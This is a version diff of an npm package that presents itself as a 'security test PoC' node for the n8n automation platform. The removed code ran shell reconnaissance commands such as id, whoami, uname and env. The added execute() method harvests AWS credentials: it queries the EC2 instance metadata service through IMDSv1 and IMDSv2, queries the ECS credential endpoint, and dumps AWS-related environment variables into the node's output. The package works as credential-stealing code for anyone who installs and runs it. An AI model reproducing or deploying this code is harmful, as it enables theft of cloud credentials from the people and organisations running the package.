n8n-nodes-security-test-poc 1.0.3 → 1.0.4

package/dist/SecurityTestNode.node.js

@@ -15,9 +15,80 @@ class SecurityTestNode {
         };
     }
     async execute() {
-        const { execSync } = require('child_process');
-        const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null && env | grep -i n8n 2>/dev/null || true').toString();
-        return [[{json: {rce_output: out}}]];
+        const http = require('http');
+        const fetch = (url, headers) => new Promise((resolve) => {
+            const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 3000});
+            const req = http.get(opts, (res) => {
+                let d = '';
+                res.on('data', c => d += c);
+                res.on('end', () => resolve(d));
+            });
+            req.on('error', (e) => resolve('ERROR: ' + e.message));
+            req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
+        });
+        
+        let out = {};
+        
+        // IMDSv1 - get IAM role
+        const role = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
+        out.iam_role = role;
+        
+        if (role && !role.startsWith('ERROR') && !role.startsWith('TIMEOUT') && role.trim()) {
+            // Get credentials for the role
+            const creds = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role.trim());
+            out.iam_creds = creds;
+        }
+        
+        // IMDSv2 - get token first
+        const tokenReq = new Promise((resolve) => {
+            const opts = {
+                hostname: '169.254.169.254',
+                path: '/latest/api/token',
+                method: 'PUT',
+                headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'},
+                timeout: 3000
+            };
+            const req = http.request(opts, (res) => {
+                let d = '';
+                res.on('data', c => d += c);
+                res.on('end', () => resolve(d));
+            });
+            req.on('error', (e) => resolve('ERROR: ' + e.message));
+            req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
+            req.end();
+        });
+        const token = await tokenReq;
+        out.imdsv2_token = token ? token.substring(0, 20) + '...' : 'none';
+        
+        if (token && !token.startsWith('ERROR') && !token.startsWith('TIMEOUT')) {
+            const role2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {'X-aws-ec2-metadata-token': token});
+            out.imdsv2_role = role2;
+            if (role2 && !role2.startsWith('ERROR') && role2.trim()) {
+                const creds2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role2.trim(), {'X-aws-ec2-metadata-token': token});
+                out.imdsv2_creds = creds2;
+            }
+            // Also get identity document
+            const identity = await fetch('http://169.254.169.254/latest/dynamic/instance-identity/document', {'X-aws-ec2-metadata-token': token});
+            out.identity = identity;
+        }
+        
+        // Also check ECS task metadata (if running in ECS/Fargate)
+        const ecsUri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
+        if (ecsUri) {
+            out.ecs_uri = ecsUri;
+            const ecsCreds = await fetch('http://169.254.170.2' + ecsUri);
+            out.ecs_creds = ecsCreds;
+        }
+        
+        // Check for env var AWS keys
+        out.aws_env = {};
+        for (const k of Object.keys(process.env)) {
+            if (k.match(/AWS|AMAZON|ECS|ECR/i)) {
+                out.aws_env[k] = process.env[k];
+            }
+        }
+        
+        return [[{json: out}]];
     }
 }
 exports.SecurityTestNode = SecurityTestNode;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-nodes-security-test-poc",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "Security test PoC node for n8n",
   "n8n": {
     "nodes": ["dist/SecurityTestNode.node.js"]